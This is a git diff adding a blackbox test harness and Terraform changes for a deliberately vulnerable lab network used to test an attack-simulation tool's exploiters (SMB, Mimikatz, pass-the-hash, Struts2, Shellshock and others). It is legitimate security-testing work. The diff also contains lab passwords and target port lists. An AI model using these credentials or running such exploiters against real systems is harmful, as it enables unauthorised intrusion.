+ "tcp_scan_get_banner": true, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ] + } + } +} diff --git a/envs/monkey_zoo/blackbox/log_handlers/__init__.py b/envs/monkey_zoo/blackbox/log_handlers/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py new file mode 100644 index 000000000..091be570a --- /dev/null +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py @@ -0,0 +1,38 @@ +import os + +import logging +from bson import ObjectId + +LOGGER = logging.getLogger(__name__) + + +class MonkeyLog(object): + def __init__(self, monkey, log_dir_path): + self.monkey = monkey + self.log_dir_path = log_dir_path + + def download_log(self, island_client): + log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])}) + if not log: + LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0])) + return False + else: + self.write_log_to_file(log) + return True + + def write_log_to_file(self, log): + with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file: + log_file.write(MonkeyLog.parse_log(log)) + + @staticmethod + def parse_log(log): + log = log.strip('"') + log = log.replace("\\n", "\n ") + return log + + @staticmethod + def get_filename_for_monkey_log(monkey): + return "{}.txt".format(monkey['ip_addresses'][0]) + + def get_log_path_for_monkey(self, monkey): + return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey)) diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py new file mode 100644 index 000000000..44804a1fd --- /dev/null +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py @@ -0,0 +1,43 @@ +import logging +import re + +LOGGER = logging.getLogger(__name__) + + +class MonkeyLogParser(object): + + def __init__(self, log_path): + self.log_path = log_path + self.log_contents = self.read_log() + + def read_log(self): + with open(self.log_path, 'r') as log: + return log.read() + + def print_errors(self): + errors = MonkeyLogParser.get_errors(self.log_contents) + if len(errors) > 0: + LOGGER.info("Found {} errors:".format(len(errors))) + for index, error_line in enumerate(errors): + LOGGER.info("Err #{}: {}".format(index, error_line)) + else: + LOGGER.info("No errors!") + + @staticmethod + def get_errors(log_contents): + searcher = re.compile(r"^.*:ERROR].*$", re.MULTILINE) + return searcher.findall(log_contents) + + def print_warnings(self): + warnings = MonkeyLogParser.get_warnings(self.log_contents) + if len(warnings) > 0: + LOGGER.info("Found {} warnings:".format(len(warnings))) + for index, warning_line in enumerate(warnings): + LOGGER.info("Warn #{}: {}".format(index, warning_line)) + else: + LOGGER.info("No warnings!") + + @staticmethod + def get_warnings(log_contents): + searcher = re.compile(r"^.*:WARNING].*$", re.MULTILINE) + return searcher.findall(log_contents) diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py new file mode 100644 index 000000000..dbed46780 --- /dev/null +++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py @@ -0,0 +1,26 @@ +import logging + +from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog + +LOGGER = logging.getLogger(__name__) + + +class MonkeyLogsDownloader(object): + + def __init__(self, island_client, log_dir_path): + self.island_client = island_client + self.log_dir_path = log_dir_path + self.monkey_log_paths = [] + + def download_monkey_logs(self): + LOGGER.info("Downloading each monkey log.") + all_monkeys = self.island_client.get_all_monkeys_from_db() + for monkey in all_monkeys: + downloaded_log_path = self._download_monkey_log(monkey) + if downloaded_log_path: + self.monkey_log_paths.append(downloaded_log_path) + + def _download_monkey_log(self, monkey): + log_handler = MonkeyLog(monkey, self.log_dir_path) + download_successful = log_handler.download_log(self.island_client) + return log_handler.get_log_path_for_monkey(monkey) if download_successful else None diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py new file mode 100644 index 000000000..b54f773e6 --- /dev/null +++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py @@ -0,0 +1,50 @@ +import os +import shutil + +import logging + +from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser +from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader + +LOG_DIR_NAME = 'logs' +LOGGER = logging.getLogger(__name__) + + +class TestLogsHandler(object): + def __init__(self, test_name, island_client, log_dir_path): + self.test_name = test_name + self.island_client = island_client + self.log_dir_path = os.path.join(log_dir_path, self.test_name) + + def parse_test_logs(self): + log_paths = self.download_logs() + if not log_paths: + LOGGER.error("No logs were downloaded. Maybe no monkeys were ran " + "or early exception prevented log download?") + return + TestLogsHandler.parse_logs(log_paths) + + def download_logs(self): + self.try_create_log_dir_for_test() + downloader = MonkeyLogsDownloader(self.island_client, self.log_dir_path) + downloader.download_monkey_logs() + return downloader.monkey_log_paths + + def try_create_log_dir_for_test(self): + try: + os.mkdir(self.log_dir_path) + except Exception as e: + LOGGER.error("Can't create a dir for test logs: {}".format(e)) + + @staticmethod + def delete_log_folder_contents(log_dir_path): + shutil.rmtree(log_dir_path, ignore_errors=True) + os.mkdir(log_dir_path) + + @staticmethod + def parse_logs(log_paths): + for log_path in log_paths: + LOGGER.info("Info from log at {}".format(log_path)) + log_parser = MonkeyLogParser(log_path) + log_parser.print_errors() + log_parser.print_warnings() diff --git a/envs/monkey_zoo/blackbox/pytest.ini b/envs/monkey_zoo/blackbox/pytest.ini new file mode 100644 index 000000000..d8ba6b47a --- /dev/null +++ b/envs/monkey_zoo/blackbox/pytest.ini @@ -0,0 +1,5 @@ +[pytest] +log_cli = 1 +log_cli_level = INFO +log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s +log_cli_date_format=%H:%M:%S diff --git a/envs/monkey_zoo/blackbox/requirements.txt b/envs/monkey_zoo/blackbox/requirements.txt new file mode 100644 index 000000000..0e6bd0ea3 --- /dev/null +++ b/envs/monkey_zoo/blackbox/requirements.txt @@ -0,0 +1,2 @@ +pytest +unittest diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py new file mode 100644 index 000000000..2f8be839d --- /dev/null +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -0,0 +1,110 @@ +import os +import logging + +import pytest +from time import sleep + +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers +from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest +from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler + +DEFAULT_TIMEOUT_SECONDS = 5*60 +MACHINE_BOOTUP_WAIT_SECONDS = 30 +GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2-v3', 'hadoop-3', 'mssql-16', + 'mimikatz-14', 'mimikatz-15', 'final-test-struts2-23', 'final-test-struts2-24', + 'tunneling-9', 'tunneling-10', 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8'] +LOG_DIR_PATH = "./logs" +LOGGER = logging.getLogger(__name__) + + +@pytest.fixture(autouse=True, scope='session') +def GCPHandler(request): + GCPHandler = gcp_machine_handlers.GCPHandler() + GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) + wait_machine_bootup() + + def fin(): + GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST)) + + request.addfinalizer(fin) + + +@pytest.fixture(autouse=True, scope='session') +def delete_logs(): + LOGGER.info("Deleting monkey logs before new tests.") + TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path()) + + +def wait_machine_bootup(): + sleep(MACHINE_BOOTUP_WAIT_SECONDS) + + +@pytest.fixture(scope='class') +def island_client(island): + island_client_object = MonkeyIslandClient(island) + island_client_object.reset_env() + yield island_client_object + + +@pytest.mark.usefixtures('island_client') +# noinspection PyUnresolvedReferences +class TestMonkeyBlackbox(object): + + @staticmethod + def run_basic_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS): + config_parser = IslandConfigParser(conf_filename) + analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets()) + log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + BasicTest(test_name, + island_client, + config_parser, + [analyzer], + timeout_in_seconds, + log_handler).run() + + @staticmethod + def get_log_dir_path(): + return os.path.abspath(LOG_DIR_PATH) + + def test_server_online(self, island_client): + assert island_client.get_api_status() is not None + + def test_ssh_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "SSH.conf", "SSH_exploiter_and_keys") + + def test_hadoop_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6*60) + + def test_mssql_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "MSSQL.conf", "MSSQL_exploiter") + + def test_smb_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz") + + def test_smb_pth(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "SMB_PTH.conf", "SMB_PTH") + + def test_elastic_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "ELASTIC.conf", "Elastic_exploiter") + + def test_struts_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter") + + def test_weblogic_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter") + + def test_shellshock_exploiter(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter") + + @pytest.mark.xfail(reason="Test fails randomly - still investigating.") + def test_tunneling(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60) + + def test_wmi_and_mimikatz_exploiters(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz") + + def test_wmi_pth(self, island_client): + TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH") diff --git a/envs/monkey_zoo/blackbox/tests/__init__.py b/envs/monkey_zoo/blackbox/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/tests/basic_test.py b/envs/monkey_zoo/blackbox/tests/basic_test.py new file mode 100644 index 000000000..d2fad4e1e --- /dev/null +++ b/envs/monkey_zoo/blackbox/tests/basic_test.py @@ -0,0 +1,98 @@ +import json +from time import sleep + +import logging + +from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer + +MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60 +WAIT_TIME_BETWEEN_REQUESTS = 10 +TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40 +DELAY_BETWEEN_ANALYSIS = 3 +LOGGER = logging.getLogger(__name__) + + +class BasicTest(object): + + def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler): + self.name = name + self.island_client = island_client + self.config_parser = config_parser + self.analyzers = analyzers + self.timeout = timeout + self.log_handler = log_handler + + def run(self): + LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2))) + self.island_client.import_config(self.config_parser.config_raw) + self.print_test_starting_info() + try: + self.island_client.run_monkey_local() + self.test_until_timeout() + finally: + self.island_client.kill_all_monkeys() + self.wait_until_monkeys_die() + self.wait_for_monkey_process_to_finish() + self.parse_logs() + self.island_client.reset_env() + + def print_test_starting_info(self): + LOGGER.info("Started {} test".format(self.name)) + LOGGER.info("Machines participating in test:") + LOGGER.info(" ".join(self.config_parser.get_ips_of_targets())) + print("") + + def test_until_timeout(self): + timer = TestTimer(self.timeout) + while not timer.is_timed_out(): + if self.all_analyzers_pass(): + self.log_success(timer) + return + sleep(DELAY_BETWEEN_ANALYSIS) + LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken())) + self.log_failure(timer) + assert False + + def log_success(self, timer): + LOGGER.info(self.get_analyzer_logs()) + LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken())) + + def log_failure(self, timer): + LOGGER.info(self.get_analyzer_logs()) + LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name, + timer.get_time_taken())) + + def all_analyzers_pass(self): + for analyzer in self.analyzers: + if not analyzer.analyze_test_results(): + return False + return True + + def get_analyzer_logs(self): + log = "" + for analyzer in self.analyzers: + log += "\n" + analyzer.log.get_contents() + return log + + def wait_until_monkeys_die(self): + time_passed = 0 + while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE: + sleep(WAIT_TIME_BETWEEN_REQUESTS) + time_passed += WAIT_TIME_BETWEEN_REQUESTS + LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed)) + if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE: + LOGGER.error("Some monkeys didn't die after the test, failing") + assert False + + def parse_logs(self): + LOGGER.info("Parsing test logs:") + self.log_handler.parse_test_logs() + + @staticmethod + def wait_for_monkey_process_to_finish(): + """ + There is a time period when monkey is set to dead, but the process is still closing. + If we try to launch monkey during that time window monkey will fail to start, that's + why test needs to wait a bit even after all monkeys are dead. + """ + sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH) diff --git a/envs/monkey_zoo/blackbox/utils/__init__.py b/envs/monkey_zoo/blackbox/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py new file mode 100644 index 000000000..3cb2ad6af --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -0,0 +1,54 @@ +import subprocess + +import logging + +LOGGER = logging.getLogger(__name__) + + +class GCPHandler(object): + + AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s" + SET_PROPERTY_PROJECT = "gcloud config set project %s" + MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" + MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" + + def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"): + self.zone = zone + try: + # pass the key file to gcp + subprocess.call(GCPHandler.get_auth_command(key_path), shell=True) + LOGGER.info("GCP Handler passed key") + # set project + subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True) + LOGGER.info("GCP Handler set project") + LOGGER.info("GCP Handler initialized successfully") + except Exception as e: + LOGGER.error("GCP Handler failed to initialize: %s." % e) + + def start_machines(self, machine_list): + """ + Start all the machines in the list. + :param machine_list: A space-separated string with all the machine names. Example: + start_machines(`" ".join(["elastic-3", "mssql-16"])`) + """ + LOGGER.info("Setting up all GCP machines...") + try: + subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True) + LOGGER.info("GCP machines successfully started.") + except Exception as e: + LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) + + def stop_machines(self, machine_list): + try: + subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True) + LOGGER.info("GCP machines stopped successfully.") + except Exception as e: + LOGGER.error("GCP Handler failed to stop network machines: %s" % e) + + @staticmethod + def get_auth_command(key_path): + return GCPHandler.AUTHENTICATION_COMMAND % key_path + + @staticmethod + def get_set_project_command(project): + return GCPHandler.SET_PROPERTY_PROJECT % project diff --git a/envs/monkey_zoo/blackbox/utils/json_encoder.py b/envs/monkey_zoo/blackbox/utils/json_encoder.py new file mode 100644 index 000000000..77be9211a --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/json_encoder.py @@ -0,0 +1,9 @@ +import json +from bson import ObjectId + + +class MongoQueryJSONEncoder(json.JSONEncoder): + def default(self, o): + if isinstance(o, ObjectId): + return str(o) + return json.JSONEncoder.default(self, o) diff --git a/envs/monkey_zoo/blackbox/utils/test_timer.py b/envs/monkey_zoo/blackbox/utils/test_timer.py new file mode 100644 index 000000000..2c0ca490a --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/test_timer.py @@ -0,0 +1,17 @@ +from time import time + + +class TestTimer(object): + def __init__(self, timeout): + self.timeout_time = TestTimer.get_timeout_time(timeout) + self.start_time = time() + + def is_timed_out(self): + return time() > self.timeout_time + + def get_time_taken(self): + return time() - self.start_time + + @staticmethod + def get_timeout_time(timeout): + return time() + timeout diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf index 8ffa668ef..d90d84ca4 100644 --- a/envs/monkey_zoo/configs/fullTest.conf +++ b/envs/monkey_zoo/configs/fullTest.conf @@ -62,7 +62,6 @@ "exploiter_classes": [ "SmbExploiter", "WmiExploiter", - "RdpExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", @@ -79,9 +78,6 @@ "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 217a22b23..a8c0687fc 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,7 +58,7 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account and name it “your\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” b. Give these permissions to your service account: @@ -74,7 +74,7 @@ To deploy: **Project -> Owner** - c. Download its **Service account key**. Select JSON format. + c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. 2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** @@ -82,20 +82,30 @@ To deploy: ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): - > provider "google" { - > - > project = "project-28054666" - > - > region = "europe-west3" - > - > zone = "europe-west3-b" - > - > credentials = "${file("project-92050661-9dae6c5a02fc.json")}" - > - > } - > - > service\_account\_email="test@project-925243.iam.gserviceaccount.com" - + provider "google" { + + project = "test-000000" // Change to your project id + + region = "europe-west3" // Change to your desired region or leave default + + zone = "europe-west3-b" // Change to your desired zone or leave default + + credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. + // If you followed instruction above leave it as is + + } + + locals { + + resource_prefix = "" // All of the resources will have this prefix. + // Only change if you want to have multiple zoo's in the same project + + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email + + monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is. + + } + 4. Run terraform init To deploy the network run:
@@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 11 Tunneling M3

+

(10.2.0.11)

(Exploitable)
OS:Ubuntu 16.04.05 x64
Software:OpenSSL
Default service’s port:22
Root password:3Q=(Ge(+&w]*
Server’s config:Default
Notes:Accessible only trough Nr.10
+ @@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines. - - - - - + - + @@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines. - diff --git a/envs/monkey_zoo/gcp_keys/.gitignore b/envs/monkey_zoo/gcp_keys/.gitignore new file mode 100644 index 000000000..5e7d2734c --- /dev/null +++ b/envs/monkey_zoo/gcp_keys/.gitignore @@ -0,0 +1,4 @@ +# Ignore everything in this directory +* +# Except this file +!.gitignore diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index c6108865a..3a2bf0fc4 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -2,9 +2,10 @@ provider "google" { project = "test-000000" region = "europe-west3" zone = "europe-west3-b" - credentials = "${file("testproject-000000-0c0b000b00c0.json")}" + credentials = "${file("../gcp_keys/gcp_key.json")}" } locals { + resource_prefix = "" service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" monkeyzoo_project="guardicore-22050661" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index df33ed4d4..b183a8d32 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -1,5 +1,5 @@ resource "google_compute_firewall" "islands-in" { - name = "islands-in" + name = "${local.resource_prefix}islands-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" { } resource "google_compute_firewall" "islands-out" { - name = "islands-out" + name = "${local.resource_prefix}islands-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" { } resource "google_compute_firewall" "monkeyzoo-in" { - name = "monkeyzoo-in" + name = "${local.resource_prefix}monkeyzoo-in" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" { direction = "INGRESS" priority = "65534" - source_ranges = ["10.2.2.0/24"] + source_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "monkeyzoo-out" { - name = "monkeyzoo-out" + name = "${local.resource_prefix}monkeyzoo-out" network = "${google_compute_network.monkeyzoo.name}" allow { @@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" { direction = "EGRESS" priority = "65534" - destination_ranges = ["10.2.2.0/24"] + destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"] } resource "google_compute_firewall" "tunneling-in" { - name = "tunneling-in" + name = "${local.resource_prefix}tunneling-in" network = "${google_compute_network.tunneling.name}" allow { @@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" { } direction = "INGRESS" - source_ranges = ["10.2.1.0/28"] + source_ranges = ["10.2.2.0/24", "10.2.0.0/28"] } resource "google_compute_firewall" "tunneling-out" { - name = "tunneling-out" + name = "${local.resource_prefix}tunneling-out" network = "${google_compute_network.tunneling.name}" allow { @@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" { } direction = "EGRESS" - destination_ranges = ["10.2.1.0/28"] + destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"] +} +resource "google_compute_firewall" "tunneling2-in" { + name = "${local.resource_prefix}tunneling2-in" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "INGRESS" + source_ranges = ["10.2.1.0/27"] +} + +resource "google_compute_firewall" "tunneling2-out" { + name = "${local.resource_prefix}tunneling2-out" + network = "${google_compute_network.tunneling2.name}" + + allow { + protocol = "all" + } + + direction = "EGRESS" + destination_ranges = ["10.2.1.0/27"] } diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4677d0c1b..dccbe16dd 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-9" { - name = "tunneling-9-v2" + name = "tunneling-9" project = "${local.monkeyzoo_project}" } data "google_compute_image" "tunneling-10" { - name = "tunneling-10-v2" + name = "tunneling-10" + project = "${local.monkeyzoo_project}" +} +data "google_compute_image" "tunneling-11" { + name = "tunneling-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-11" { - name = "sshkeys-11-v2" + name = "sshkeys-11" project = "${local.monkeyzoo_project}" } data "google_compute_image" "sshkeys-12" { - name = "sshkeys-12-v2" + name = "sshkeys-12" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-14" { - name = "mimikatz-14-v2" + name = "mimikatz-14" project = "${local.monkeyzoo_project}" } data "google_compute_image" "mimikatz-15" { @@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "weblogic-19" { - name = "weblogic-19-v2" + name = "weblogic-19" project = "${local.monkeyzoo_project}" } data "google_compute_image" "smb-20" { @@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" { project = "${local.monkeyzoo_project}" } data "google_compute_image" "struts2-24" { - name = "struts-24-v2" + name = "struts2-24" project = "${local.monkeyzoo_project}" } data "google_compute_image" "island-linux-250" { @@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" { data "google_compute_image" "island-windows-251" { name = "island-windows-251" project = "${local.monkeyzoo_project}" -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index e0b97822f..cf45d93e0 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -6,29 +6,40 @@ locals { } resource "google_compute_network" "monkeyzoo" { - name = "monkeyzoo" + name = "${local.resource_prefix}monkeyzoo" auto_create_subnetworks = false } resource "google_compute_network" "tunneling" { - name = "tunneling" + name = "${local.resource_prefix}tunneling" + auto_create_subnetworks = false +} + +resource "google_compute_network" "tunneling2" { + name = "${local.resource_prefix}tunneling2" auto_create_subnetworks = false } resource "google_compute_subnetwork" "monkeyzoo-main" { - name = "monkeyzoo-main" + name = "${local.resource_prefix}monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" network = "${google_compute_network.monkeyzoo.self_link}" } resource "google_compute_subnetwork" "tunneling-main" { - name = "tunneling-main" + name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" network = "${google_compute_network.tunneling.self_link}" } +resource "google_compute_subnetwork" "tunneling2-main" { + name = "${local.resource_prefix}tunneling2-main" + ip_cidr_range = "10.2.0.0/27" + network = "${google_compute_network.tunneling2.self_link}" +} + resource "google_compute_instance_from_template" "hadoop-2" { - name = "hadoop-2" + name = "${local.resource_prefix}hadoop-2" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.2" } // Add required ssh keys for hadoop service and restart it @@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { } resource "google_compute_instance_from_template" "hadoop-3" { - name = "hadoop-3" + name = "${local.resource_prefix}hadoop-3" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.3" } } resource "google_compute_instance_from_template" "elastic-4" { - name = "elastic-4" + name = "${local.resource_prefix}elastic-4" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.4" } } resource "google_compute_instance_from_template" "elastic-5" { - name = "elastic-5" + name = "${local.resource_prefix}elastic-5" source_instance_template = "${local.default_windows}" boot_disk{ initialize_params { @@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.5" } } /* Couldn't find ubuntu packages for required samba version (too old). resource "google_compute_instance_from_template" "sambacry-6" { - name = "sambacry-6" + name = "${local.resource_prefix}sambacry-6" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.6" } } @@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP). resource "google_compute_instance_from_template" "sambacry-7" { - name = "sambacry-7" + name = "${local.resource_prefix}sambacry-7" source_instance_template = "${local.default_ubuntu}" boot_disk { initialize_params { @@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.7" } } */ resource "google_compute_instance_from_template" "shellshock-8" { - name = "shellshock-8" + name = "${local.resource_prefix}shellshock-8" source_instance_template = "${local.default_ubuntu}" boot_disk{ initialize_params { @@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.8" } } resource "google_compute_instance_from_template" 